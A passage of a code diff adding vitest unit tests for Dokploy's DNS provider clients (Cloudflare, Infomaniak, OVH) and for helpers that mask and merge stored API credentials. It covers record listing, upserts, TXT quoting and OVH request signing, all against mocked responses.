||||
it("surfaces Cloudflare's error message on an invalid token", async () => {
|
||||
mockFetch.mockResolvedValue(cfError("Invalid API Token"));
|
||||
|
||||
await expect(cloudflareClient.testConnection(config)).rejects.toThrow(
|
||||
"Invalid API Token",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloudflareClient auth header", () => {
|
||||
it("trims whitespace pasted into the token", async () => {
|
||||
mockFetch.mockResolvedValue(cfSuccess([]));
|
||||
|
||||
await cloudflareClient.testConnection({
|
||||
providerType: "cloudflare",
|
||||
apiToken: " cf-token\n",
|
||||
});
|
||||
|
||||
const [, init] = mockFetch.mock.calls[0] as [string, RequestInit];
|
||||
expect((init.headers as Record<string, string>).Authorization).toBe(
|
||||
"Bearer cf-token",
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,116 @@
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({
|
||||
db: {
|
||||
query: { dnsProvider: { findFirst: vi.fn(), findMany: vi.fn() } },
|
||||
insert: vi.fn(),
|
||||
update: vi.fn(),
|
||||
delete: vi.fn(),
|
||||
},
|
||||
}));
|
||||
|
||||
import {
|
||||
DNS_SECRET_MASK,
|
||||
maskDnsProviderConfig,
|
||||
mergeDnsProviderConfig,
|
||||
} from "@dokploy/server/services/dns-provider";
|
||||
|
||||
describe("maskDnsProviderConfig", () => {
|
||||
it("masks the apiToken for a cloudflare config", () => {
|
||||
const masked = maskDnsProviderConfig({
|
||||
providerType: "cloudflare",
|
||||
apiToken: "real-token",
|
||||
});
|
||||
|
||||
expect(masked).toEqual({
|
||||
providerType: "cloudflare",
|
||||
apiToken: DNS_SECRET_MASK,
|
||||
});
|
||||
});
|
||||
|
||||
it("masks only the secretAccessKey for a route53 config, keeping accessKeyId visible", () => {
|
||||
const masked = maskDnsProviderConfig({
|
||||
providerType: "route53",
|
||||
accessKeyId: "AKIA_VISIBLE",
|
||||
secretAccessKey: "shh",
|
||||
});
|
||||
|
||||
expect(masked).toEqual({
|
||||
providerType: "route53",
|
||||
accessKeyId: "AKIA_VISIBLE",
|
||||
secretAccessKey: DNS_SECRET_MASK,
|
||||
});
|
||||
});
|
||||
|
||||
it("leaves an empty sensitive field untouched instead of masking a blank value", () => {
|
||||
const masked = maskDnsProviderConfig({
|
||||
providerType: "cloudflare",
|
||||
apiToken: "",
|
||||
});
|
||||
|
||||
expect(masked).toEqual({ providerType: "cloudflare", apiToken: "" });
|
||||
});
|
||||
});
|
||||
|
||||
describe("mergeDnsProviderConfig", () => {
|
||||
it("restores the real secret when the incoming config still has the mask placeholder", () => {
|
||||
const existing = {
|
||||
providerType: "cloudflare" as const,
|
||||
apiToken: "real-token",
|
||||
};
|
||||
const incoming = {
|
||||
providerType: "cloudflare" as const,
|
||||
apiToken: DNS_SECRET_MASK,
|
||||
};
|
||||
|
||||
expect(mergeDnsProviderConfig(incoming, existing)).toEqual(existing);
|
||||
});
|
||||
|
||||
it("keeps a freshly entered secret instead of the stored one", () => {
|
||||
const existing = {
|
||||
providerType: "cloudflare" as const,
|
||||
apiToken: "old-token",
|
||||
};
|
||||
const incoming = {
|
||||
providerType: "cloudflare" as const,
|
||||
apiToken: "new-token",
|
||||
};
|
||||
|
||||
expect(mergeDnsProviderConfig(incoming, existing)).toEqual(incoming);
|
||||
});
|
||||
|
||||
it("throws when switching provider type while the field is still masked", () => {
|
||||
const existing = {
|
||||
providerType: "cloudflare" as const,
|
||||
apiToken: "real-token",
|
||||
};
|
||||
const incoming = {
|
||||
providerType: "route53" as const,
|
||||
accessKeyId: "AKIA",
|
||||
secretAccessKey: DNS_SECRET_MASK,
|
||||
};
|
||||
|
||||
expect(() => mergeDnsProviderConfig(incoming, existing)).toThrow(
|
||||
"Credentials must be re-entered",
|
||||
);
|
||||
});
|
||||
|
||||
it("does not require re-entry for fields that are not sensitive", () => {
|
||||
const existing = {
|
||||
providerType: "route53" as const,
|
||||
accessKeyId: "AKIA_OLD",
|
||||
secretAccessKey: "old-secret",
|
||||
};
|
||||
const incoming = {
|
||||
providerType: "route53" as const,
|
||||
accessKeyId: "AKIA_NEW",
|
||||
secretAccessKey: DNS_SECRET_MASK,
|
||||
};
|
||||
|
||||
expect(mergeDnsProviderConfig(incoming, existing)).toEqual({
|
||||
providerType: "route53",
|
||||
accessKeyId: "AKIA_NEW",
|
||||
secretAccessKey: "old-secret",
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,486 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mockFetch = vi.fn();
|
||||
global.fetch = mockFetch as typeof fetch;
|
||||
|
||||
import { infomaniakClient } from "@dokploy/server/utils/dns/infomaniak";
|
||||
|
||||
const jsonResponse = (body: unknown, ok = true, status = 200) =>
|
||||
({
|
||||
ok,
|
||||
status,
|
||||
json: async () => body,
|
||||
}) as Response;
|
||||
|
||||
const ikSuccess = (data: unknown) => jsonResponse({ result: "success", data });
|
||||
|
||||
const ikPage = (data: unknown, page: number, pages: number) =>
|
||||
jsonResponse({ result: "success", data, page, pages });
|
||||
|
||||
const ikError = (description: string, status = 400) =>
|
||||
jsonResponse(
|
||||
{ result: "error", error: { code: "not_authorized", description } },
|
||||
false,
|
||||
status,
|
||||
);
|
||||
|
||||
const config = {
|
||||
providerType: "infomaniak" as const,
|
||||
apiToken: "ik_test_token",
|
||||
};
|
||||
|
||||
const lastCall = () =>
|
||||
mockFetch.mock.calls.at(-1) as [string, RequestInit & { method?: string }];
|
||||
|
||||
const lastBody = () => JSON.parse(lastCall()[1].body as string);
|
||||
|
||||
beforeEach(() => {
|
||||
mockFetch.mockReset();
|
||||
});
|
||||
|
||||
describe("infomaniakClient.listZones", () => {
|
||||
it("exposes each domain product as a zone keyed by its name", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
ikPage(
|
||||
[
|
||||
{ id: 1, customer_name: "example.com" },
|
||||
{ id: 2, customer_name: "example.ch" },
|
||||
],
|
||||
1,
|
||||
1,
|
||||
),
|
||||
);
|
||||
|
||||
const zones = await infomaniakClient.listZones(config);
|
||||
|
||||
expect(zones).toEqual([
|
||||
{ id: "example.com", name: "example.com" },
|
||||
{ id: "example.ch", name: "example.ch" },
|
||||
]);
|
||||
const [url, init] = lastCall();
|
||||
// The documented endpoint is the plural one; the singular is legacy and
|
||||
// returns no pagination metadata at all.
|
||||
expect(url).toContain("/1/products?service_name=domain");
|
||||
expect(url).toContain("page=1");
|
||||
expect(init.headers).toMatchObject({
|
||||
Authorization: "Bearer ik_test_token",
|
||||
});
|
||||
});
|
||||
|
||||
it("walks every page so accounts with many domains keep all their zones", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(ikPage([{ id: 1, customer_name: "a.com" }], 1, 3))
|
||||
.mockResolvedValueOnce(ikPage([{ id: 2, customer_name: "b.com" }], 2, 3))
|
||||
.mockResolvedValueOnce(ikPage([{ id: 3, customer_name: "c.com" }], 3, 3));
|
||||
|
||||
const zones = await infomaniakClient.listZones(config);
|
||||
|
||||
expect(zones.map((zone) => zone.name)).toEqual(["a.com", "b.com", "c.com"]);
|
||||
expect(mockFetch).toHaveBeenCalledTimes(3);
|
||||
expect((mockFetch.mock.calls[2] as [string])[0]).toContain("page=3");
|
||||
});
|
||||
|
||||
it("stops after a single page when the response has no pagination", async () => {
|
||||
mockFetch.mockResolvedValue(ikSuccess([{ id: 1, customer_name: "a.com" }]));
|
||||
|
||||
const zones = await infomaniakClient.listZones(config);
|
||||
|
||||
expect(zones).toEqual([{ id: "a.com", name: "a.com" }]);
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("propagates the API error description", async () => {
|
||||
mockFetch.mockResolvedValue(ikError("Authorization required", 401));
|
||||
|
||||
await expect(infomaniakClient.listZones(config)).rejects.toThrow(
|
||||
"Authorization required",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("infomaniakClient.listRecords", () => {
|
||||
it("rebuilds the fqdn from the relative source", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
ikSuccess([
|
||||
{ id: 10, type: "A", source: "app", target: "1.2.3.4", ttl: 300 },
|
||||
{ id: 11, type: "A", source: "", target: "5.6.7.8", ttl: 600 },
|
||||
]),
|
||||
);
|
||||
|
||||
const records = await infomaniakClient.listRecords(config, "example.com");
|
||||
|
||||
expect(records).toEqual([
|
||||
{
|
||||
id: "10",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
ttl: 300,
|
||||
},
|
||||
{
|
||||
id: "11",
|
||||
type: "A",
|
||||
name: "example.com",
|
||||
content: "5.6.7.8",
|
||||
ttl: 600,
|
||||
},
|
||||
]);
|
||||
expect(lastCall()[0]).toBe(
|
||||
"https://api.infomaniak.com/2/zones/example.com/records?with=records_description",
|
||||
);
|
||||
});
|
||||
|
||||
it.each([".", "", "@"])("treats a %s source as the apex", async (source) => {
|
||||
mockFetch.mockResolvedValue(
|
||||
ikSuccess([{ id: 12, type: "A", source, target: "1.2.3.4", ttl: 300 }]),
|
||||
);
|
||||
|
||||
const records = await infomaniakClient.listRecords(config, "example.com");
|
||||
|
||||
expect(records[0]?.name).toBe("example.com");
|
||||
});
|
||||
|
||||
it("unquotes TXT targets", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
ikSuccess([
|
||||
{
|
||||
id: 13,
|
||||
type: "TXT",
|
||||
source: "_acme-challenge",
|
||||
target: '"token-value"',
|
||||
ttl: 300,
|
||||
},
|
||||
]),
|
||||
);
|
||||
|
||||
const records = await infomaniakClient.listRecords(config, "example.com");
|
||||
|
||||
expect(records[0]?.content).toBe("token-value");
|
||||
});
|
||||
|
||||
it("leaves a CAA target untouched", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
ikSuccess([
|
||||
{
|
||||
id: 14,
|
||||
type: "CAA",
|
||||
source: "",
|
||||
target: '0 issue "letsencrypt.org"',
|
||||
ttl: 300,
|
||||
},
|
||||
]),
|
||||
);
|
||||
|
||||
const records = await infomaniakClient.listRecords(config, "example.com");
|
||||
|
||||
expect(records[0]?.content).toBe('0 issue "letsencrypt.org"');
|
||||
});
|
||||
});
|
||||
|
||||
describe("infomaniakClient.upsertRecord", () => {
|
||||
it("creates the record when no matching source and type exists", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(ikSuccess([]))
|
||||
.mockResolvedValueOnce(ikSuccess({ id: 42 }));
|
||||
|
||||
const result = await infomaniakClient.upsertRecord(config, {
|
||||
zoneId: "example.com",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
ttl: 600,
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "42" });
|
||||
const [url, init] = lastCall();
|
||||
expect(url).toBe("https://api.infomaniak.com/2/zones/example.com/records");
|
||||
expect(init.method).toBe("POST");
|
||||
expect(lastBody()).toEqual({
|
||||
type: "A",
|
||||
source: "app",
|
||||
target: "1.2.3.4",
|
||||
ttl: 600,
|
||||
});
|
||||
});
|
||||
|
||||
it("updates the existing record when content matches", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(
|
||||
ikSuccess([
|
||||
{ id: 7, type: "A", source: "app", target: "1.2.3.4", ttl: 300 },
|
||||
]),
|
||||
)
|
||||
.mockResolvedValueOnce(ikSuccess({ id: 7 }));
|
||||
|
||||
const result = await infomaniakClient.upsertRecord(config, {
|
||||
zoneId: "example.com",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "7" });
|
||||
const [url, init] = lastCall();
|
||||
expect(url).toBe(
|
||||
"https://api.infomaniak.com/2/zones/example.com/records/7",
|
||||
);
|
||||
expect(init.method).toBe("PUT");
|
||||
expect(lastBody().ttl).toBe(300);
|
||||
});
|
||||
|
||||
it("creates a new record when content differs from existing", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(
|
||||
ikSuccess([
|
||||
{ id: 7, type: "A", source: "app", target: "1.1.1.1", ttl: 300 },
|
||||
]),
|
||||
)
|
||||
.mockResolvedValueOnce(ikSuccess({ id: 50 }));
|
||||
|
||||
const result = await infomaniakClient.upsertRecord(config, {
|
||||
zoneId: "example.com",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "50" });
|
||||
const [url, init] = lastCall();
|
||||
expect(url).toBe("https://api.infomaniak.com/2/zones/example.com/records");
|
||||
expect(init.method).toBe("POST");
|
||||
});
|
||||
|
||||
it("writes a root dot as the source for an apex record and strips the trailing dot", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(ikSuccess([]))
|
||||
.mockResolvedValueOnce(ikSuccess({ id: 43 }));
|
||||
|
||||
await infomaniakClient.upsertRecord(config, {
|
||||
zoneId: "example.com",
|
||||
type: "A",
|
||||
name: "example.com.",
|
||||
content: "1.2.3.4",
|
||||
});
|
||||
|
||||
expect(lastBody().source).toBe(".");
|
||||
});
|
||||
|
||||
it.each([".", "", "@"])(
|
||||
"matches an existing apex record stored with a %s source",
|
||||
async (source) => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(
|
||||
ikSuccess([
|
||||
{ id: 8, type: "A", source, target: "1.2.3.4", ttl: 3600 },
|
||||
]),
|
||||
)
|
||||
.mockResolvedValueOnce(ikSuccess({ id: 8 }));
|
||||
|
||||
const result = await infomaniakClient.upsertRecord(config, {
|
||||
zoneId: "example.com",
|
||||
type: "A",
|
||||
name: "example.com",
|
||||
content: "1.2.3.4",
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "8" });
|
||||
expect(lastCall()[1].method).toBe("PUT");
|
||||
},
|
||||
);
|
||||
|
||||
it("matches the existing apex record instead of creating a duplicate", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(
|
||||
ikSuccess([
|
||||
{
|
||||
id: 8,
|
||||
type: "TXT",
|
||||
source: ".",
|
||||
target: '"v=spf1 -all"',
|
||||
ttl: 3600,
|
||||
},
|
||||
]),
|
||||
)
|
||||
.mockResolvedValueOnce(ikSuccess({ id: 8 }));
|
||||
|
||||
const result = await infomaniakClient.upsertRecord(config, {
|
||||
zoneId: "example.com",
|
||||
type: "TXT",
|
||||
name: "example.com",
|
||||
content: "v=spf1 -all",
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "8" });
|
||||
const [url, init] = lastCall();
|
||||
expect(init.method).toBe("PUT");
|
||||
expect(url).toBe(
|
||||
"https://api.infomaniak.com/2/zones/example.com/records/8",
|
||||
);
|
||||
expect(lastBody().target).toBe('"v=spf1 -all"');
|
||||
});
|
||||
|
||||
it("quotes a TXT target on write", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(ikSuccess([]))
|
||||
.mockResolvedValueOnce(ikSuccess({ id: 44 }));
|
||||
|
||||
await infomaniakClient.upsertRecord(config, {
|
||||
zoneId: "example.com",
|
||||
type: "TXT",
|
||||
name: "_acme-challenge.example.com",
|
||||
content: "token-value",
|
||||
});
|
||||
|
||||
expect(lastBody().target).toBe('"token-value"');
|
||||
});
|
||||
|
||||
it("does not double-quote a TXT target that is already quoted", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(ikSuccess([]))
|
||||
.mockResolvedValueOnce(ikSuccess({ id: 45 }));
|
||||
|
||||
await infomaniakClient.upsertRecord(config, {
|
||||
zoneId: "example.com",
|
||||
type: "TXT",
|
||||
name: "_acme-challenge.example.com",
|
||||
content: '"token-value"',
|
||||
});
|
||||
|
||||
expect(lastBody().target).toBe('"token-value"');
|
||||
});
|
||||
|
||||
it("queries the API with a source and type filter instead of the whole zone", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(ikSuccess([]))
|
||||
.mockResolvedValueOnce(ikSuccess({ id: 50 }));
|
||||
|
||||
await infomaniakClient.upsertRecord(config, {
|
||||
zoneId: "example.com",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
});
|
||||
|
||||
const [url] = mockFetch.mock.calls[0] as [string];
|
||||
expect(url).toContain("filter%5Bsource%5D=app");
|
||||
expect(url).toContain("filter%5Btypes%5D%5B%5D=A");
|
||||
});
|
||||
|
||||
it("ignores a partial filter hit rather than overwriting a different record", async () => {
|
||||
// filter[source] matches substrings: asking for "auto" also returns
|
||||
// "autoconfig" and "autodiscover". Trusting it would overwrite one of them.
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(
|
||||
ikSuccess([
|
||||
{
|
||||
id: 61,
|
||||
type: "CNAME",
|
||||
source: "autoconfig",
|
||||
target: "a.example.net",
|
||||
ttl: 300,
|
||||
},
|
||||
{
|
||||
id: 62,
|
||||
type: "CNAME",
|
||||
source: "autodiscover",
|
||||
target: "b.example.net",
|
||||
ttl: 300,
|
||||
},
|
||||
]),
|
||||
)
|
||||
.mockResolvedValueOnce(ikSuccess({ id: 63 }));
|
||||
|
||||
const result = await infomaniakClient.upsertRecord(config, {
|
||||
zoneId: "example.com",
|
||||
type: "CNAME",
|
||||
name: "auto.example.com",
|
||||
content: "c.example.net",
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "63" });
|
||||
expect(lastCall()[1].method).toBe("POST");
|
||||
});
|
||||
});
|
||||
|
||||
describe("infomaniakClient.updateRecord", () => {
|
||||
it("updates the record and keeps its id", async () => {
|
||||
mockFetch.mockResolvedValue(ikSuccess({ id: 7 }));
|
||||
|
||||
const result = await infomaniakClient.updateRecord(
|
||||
config,
|
||||
"example.com",
|
||||
"7",
|
||||
{
|
||||
type: "CNAME",
|
||||
name: "www.example.com",
|
||||
content: "example.com",
|
||||
ttl: 900,
|
||||
},
|
||||
);
|
||||
|
||||
expect(result).toEqual({ id: "7" });
|
||||
const [url, init] = lastCall();
|
||||
expect(url).toBe(
|
||||
"https://api.infomaniak.com/2/zones/example.com/records/7",
|
||||
);
|
||||
expect(init.method).toBe("PUT");
|
||||
expect(lastBody()).toEqual({
|
||||
type: "CNAME",
|
||||
source: "www",
|
||||
target: "example.com",
|
||||
ttl: 900,
|
||||
});
|
||||
});
|
||||
|
||||
it("falls back to the default ttl when none is provided", async () => {
|
||||
mockFetch.mockResolvedValue(ikSuccess({ id: 7 }));
|
||||
|
||||
await infomaniakClient.updateRecord(config, "example.com", "7", {
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
});
|
||||
|
||||
expect(lastBody().ttl).toBe(300);
|
||||
});
|
||||
});
|
||||
|
||||
describe("infomaniakClient.deleteRecord", () => {
|
||||
it("deletes the record", async () => {
|
||||
mockFetch.mockResolvedValue(ikSuccess(null));
|
||||
|
||||
await infomaniakClient.deleteRecord(config, "example.com", "7");
|
||||
|
||||
const [url, init] = lastCall();
|
||||
expect(url).toBe(
|
||||
"https://api.infomaniak.com/2/zones/example.com/records/7",
|
||||
);
|
||||
expect(init.method).toBe("DELETE");
|
||||
});
|
||||
|
||||
it("propagates a delete failure", async () => {
|
||||
mockFetch.mockResolvedValue(ikError("Record not found", 404));
|
||||
|
||||
await expect(
|
||||
infomaniakClient.deleteRecord(config, "example.com", "7"),
|
||||
).rejects.toThrow("Record not found");
|
||||
});
|
||||
});
|
||||
|
||||
describe("infomaniakClient.testConnection", () => {
|
||||
it("resolves when the domain listing succeeds", async () => {
|
||||
mockFetch.mockResolvedValue(ikSuccess([]));
|
||||
|
||||
await expect(
|
||||
infomaniakClient.testConnection(config),
|
||||
).resolves.toBeUndefined();
|
||||
});
|
||||
|
||||
it("rejects on an invalid token", async () => {
|
||||
mockFetch.mockResolvedValue(ikError("Authorization required", 401));
|
||||
|
||||
await expect(infomaniakClient.testConnection(config)).rejects.toThrow(
|
||||
"Infomaniak: request to /1/products?service_name=domain&per_page=1 failed: Authorization required",
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,642 @@
|
||||
import { createHash } from "node:crypto";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mockFetch = vi.fn();
|
||||
global.fetch = mockFetch as typeof fetch;
|
||||
|
||||
import { ovhClient } from "@dokploy/server/utils/dns/ovh";
|
||||
|
||||
const textResponse = (body: string, ok = true, status = 200) =>
|
||||
({
|
||||
ok,
|
||||
status,
|
||||
text: async () => body,
|
||||
}) as Response;
|
||||
|
||||
const ovhSuccess = (data: unknown) =>
|
||||
textResponse(data === undefined ? "" : JSON.stringify(data));
|
||||
|
||||
const ovhError = (message: string, status = 403) =>
|
||||
textResponse(JSON.stringify({ message }), false, status);
|
||||
|
||||
const SERVER_TIME = 1788268225;
|
||||
|
||||
const config = {
|
||||
providerType: "ovh" as const,
|
||||
endpoint: "ovh-eu" as const,
|
||||
applicationKey: "app-key",
|
||||
applicationSecret: "app-secret",
|
||||
consumerKey: "consumer-key",
|
||||
};
|
||||
|
||||
// Each test uses a distinct endpoint so the module-level clock-skew cache, which
|
||||
// is keyed by base url, never leaks a measurement between them.
|
||||
let endpointCursor = 0;
|
||||
const endpoints = [
|
||||
"ovh-eu",
|
||||
"ovh-ca",
|
||||
"ovh-us",
|
||||
"kimsufi-eu",
|
||||
"kimsufi-ca",
|
||||
"soyoustart-eu",
|
||||
"soyoustart-ca",
|
||||
] as const;
|
||||
const baseUrls: Record<(typeof endpoints)[number], string> = {
|
||||
"ovh-eu": "https://eu.api.ovh.com/1.0",
|
||||
"ovh-ca": "https://ca.api.ovh.com/1.0",
|
||||
"ovh-us": "https://api.us.ovhcloud.com/1.0",
|
||||
"kimsufi-eu": "https://eu.api.kimsufi.com/1.0",
|
||||
"kimsufi-ca": "https://ca.api.kimsufi.com/1.0",
|
||||
"soyoustart-eu": "https://eu.api.soyoustart.com/1.0",
|
||||
"soyoustart-ca": "https://ca.api.soyoustart.com/1.0",
|
||||
};
|
||||
|
||||
/** A config on a not-yet-used endpoint, so the first call always fetches /auth/time. */
|
||||
const freshConfig = () => {
|
||||
const endpoint = endpoints[
|
||||
endpointCursor % endpoints.length
|
||||
] as (typeof endpoints)[number];
|
||||
endpointCursor += 1;
|
||||
return { ...config, endpoint, baseUrl: baseUrls[endpoint] };
|
||||
};
|
||||
|
||||
/** Replies to /auth/time, then to each queued API response in order. */
|
||||
const mockApi = (...responses: Response[]) => {
|
||||
let call = 0;
|
||||
mockFetch.mockImplementation((url: string) => {
|
||||
if (url.endsWith("/auth/time")) {
|
||||
return Promise.resolve(textResponse(String(SERVER_TIME)));
|
||||
}
|
||||
const response = responses[call];
|
||||
call += 1;
|
||||
return Promise.resolve(response ?? ovhSuccess(null));
|
||||
});
|
||||
};
|
||||
|
||||
const apiCalls = () =>
|
||||
mockFetch.mock.calls.filter(
|
||||
([url]) => !(url as string).endsWith("/auth/time"),
|
||||
) as [string, RequestInit][];
|
||||
|
||||
beforeEach(() => {
|
||||
mockFetch.mockReset();
|
||||
});
|
||||
|
||||
describe("ovhClient request signing", () => {
|
||||
it("signs the request with the API server clock, not the local one", async () => {
|
||||
const { baseUrl, ...cfg } = freshConfig();
|
||||
mockApi(ovhSuccess(["example.com"]));
|
||||
vi.spyOn(Date, "now").mockReturnValue((SERVER_TIME - 120) * 1000);
|
||||
|
||||
await ovhClient.listZones(cfg);
|
||||
|
||||
const [url, init] = apiCalls()[0] as [string, RequestInit];
|
||||
const headers = init.headers as Record<string, string>;
|
||||
expect(url).toBe(`${baseUrl}/domain/zone`);
|
||||
expect(headers["X-Ovh-Timestamp"]).toBe(String(SERVER_TIME));
|
||||
expect(headers["X-Ovh-Application"]).toBe("app-key");
|
||||
expect(headers["X-Ovh-Consumer"]).toBe("consumer-key");
|
||||
|
||||
const expected = createHash("sha1")
|
||||
.update(
|
||||
["app-secret", "consumer-key", "GET", url, "", SERVER_TIME].join("+"),
|
||||
)
|
||||
.digest("hex");
|
||||
expect(headers["X-Ovh-Signature"]).toBe(`$1$${expected}`);
|
||||
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
it("signs a request body when one is sent", async () => {
|
||||
const { baseUrl, ...cfg } = freshConfig();
|
||||
mockApi(ovhSuccess([]), ovhSuccess({ id: 5 }), ovhSuccess(null));
|
||||
vi.spyOn(Date, "now").mockReturnValue(SERVER_TIME * 1000);
|
||||
|
||||
await ovhClient.upsertRecord(cfg, {
|
||||
zoneId: "example.com",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
});
|
||||
|
||||
const [url, init] = apiCalls()[1] as [string, RequestInit];
|
||||
const headers = init.headers as Record<string, string>;
|
||||
const body = init.body as string;
|
||||
expect(body).not.toBe("");
|
||||
const expected = createHash("sha1")
|
||||
.update(
|
||||
["app-secret", "consumer-key", "POST", url, body, SERVER_TIME].join(
|
||||
"+",
|
||||
),
|
||||
)
|
||||
.digest("hex");
|
||||
expect(headers["X-Ovh-Signature"]).toBe(`$1$${expected}`);
|
||||
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
});
|
||||
|
||||
describe("ovhClient.listZones", () => {
|
||||
it("maps each zone name to a zone", async () => {
|
||||
const cfg = freshConfig();
|
||||
mockApi(ovhSuccess(["example.com", "example.fr"]));
|
||||
|
||||
const zones = await ovhClient.listZones(cfg);
|
||||
|
||||
expect(zones).toEqual([
|
||||
{ id: "example.com", name: "example.com" },
|
||||
{ id: "example.fr", name: "example.fr" },
|
||||
]);
|
||||
});
|
||||
|
||||
it("names the missing root right when OVH refuses the zone listing", async () => {
|
||||
const cfg = freshConfig();
|
||||
mockApi(ovhError("This call has not been granted", 403));
|
||||
|
||||
// A `GET /domain/zone/*` rule does not cover the bare `GET /domain/zone`,
|
||||
// so the raw OVH message would send users looking in the wrong place.
|
||||
await expect(ovhClient.listZones(cfg)).rejects.toThrow(
|
||||
/missing the `GET \/domain\/zone` right/,
|
||||
);
|
||||
});
|
||||
|
||||
it("propagates the API error message", async () => {
|
||||
const cfg = freshConfig();
|
||||
mockApi(ovhError("Invalid signature", 403));
|
||||
|
||||
await expect(ovhClient.listZones(cfg)).rejects.toThrow("Invalid signature");
|
||||
});
|
||||
|
||||
it("returns only the configured zone without listing every zone", async () => {
|
||||
const cfg = { ...freshConfig(), zone: "example.com" };
|
||||
mockApi();
|
||||
|
||||
const zones = await ovhClient.listZones(cfg);
|
||||
|
||||
expect(zones).toEqual([{ id: "example.com", name: "example.com" }]);
|
||||
expect(apiCalls()).toHaveLength(0);
|
||||
});
|
||||
});
|
||||
|
||||
describe("ovhClient.listRecords", () => {
|
||||
it("resolves each id into a full record", async () => {
|
||||
const cfg = freshConfig();
|
||||
mockApi(
|
||||
ovhSuccess([1, 2]),
|
||||
ovhSuccess({
|
||||
id: 1,
|
||||
zone: "example.com",
|
||||
fieldType: "A",
|
||||
subDomain: "app",
|
||||
target: "1.2.3.4",
|
||||
ttl: 600,
|
||||
}),
|
||||
ovhSuccess({
|
||||
id: 2,
|
||||
zone: "example.com",
|
||||
fieldType: "A",
|
||||
subDomain: null,
|
||||
target: "5.6.7.8",
|
||||
ttl: null,
|
||||
}),
|
||||
);
|
||||
|
||||
const records = await ovhClient.listRecords(cfg, "example.com");
|
||||
|
||||
expect(records).toEqual([
|
||||
{
|
||||
id: "1",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
ttl: 600,
|
||||
},
|
||||
{
|
||||
id: "2",
|
||||
type: "A",
|
||||
name: "example.com",
|
||||
content: "5.6.7.8",
|
||||
ttl: 0,
|
||||
},
|
||||
]);
|
||||
});
|
||||
|
||||
it("keeps the records in the order of the returned ids", async () => {
|
||||
const cfg = freshConfig();
|
||||
const record = (id: number, subDomain: string) => ({
|
||||
id,
|
||||
zone: "example.com",
|
||||
fieldType: "A",
|
||||
subDomain,
|
||||
target: `10.0.0.${id}`,
|
||||
ttl: 60,
|
||||
});
|
||||
mockApi(
|
||||
ovhSuccess([1, 2, 3, 4, 5]),
|
||||
...[1, 2, 3, 4, 5].map((id) => ovhSuccess(record(id, `host${id}`))),
|
||||
);
|
||||
|
||||
const records = await ovhClient.listRecords(cfg, "example.com");
|
||||
|
||||
expect(records.map((r) => r.id)).toEqual(["1", "2", "3", "4", "5"]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("ovhClient.upsertRecord", () => {
|
||||
it("creates the record then refreshes the zone", async () => {
|
||||
const cfg = freshConfig();
|
||||
mockApi(ovhSuccess([]), ovhSuccess({ id: 9 }), ovhSuccess(null));
|
||||
|
||||
const result = await ovhClient.upsertRecord(cfg, {
|
||||
zoneId: "example.com",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
ttl: 600,
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "9" });
|
||||
const calls = apiCalls();
|
||||
expect(calls[0]?.[0]).toContain(
|
||||
"/domain/zone/example.com/record?fieldType=A&subDomain=app",
|
||||
);
|
||||
expect(calls[1]?.[1].method).toBe("POST");
|
||||
expect(JSON.parse(calls[1]?.[1].body as string)).toEqual({
|
||||
fieldType: "A",
|
||||
subDomain: "app",
|
||||
target: "1.2.3.4",
|
||||
ttl: 600,
|
||||
});
|
||||
expect(calls[2]?.[0]).toContain("/domain/zone/example.com/refresh");
|
||||
expect(calls[2]?.[1].method).toBe("POST");
|
||||
});
|
||||
|
||||
it("updates the existing record when content matches", async () => {
|
||||
const cfg = freshConfig();
|
||||
mockApi(
|
||||
ovhSuccess([4]),
|
||||
ovhSuccess({
|
||||
id: 4,
|
||||
zone: "example.com",
|
||||
fieldType: "A",
|
||||
subDomain: "app",
|
||||
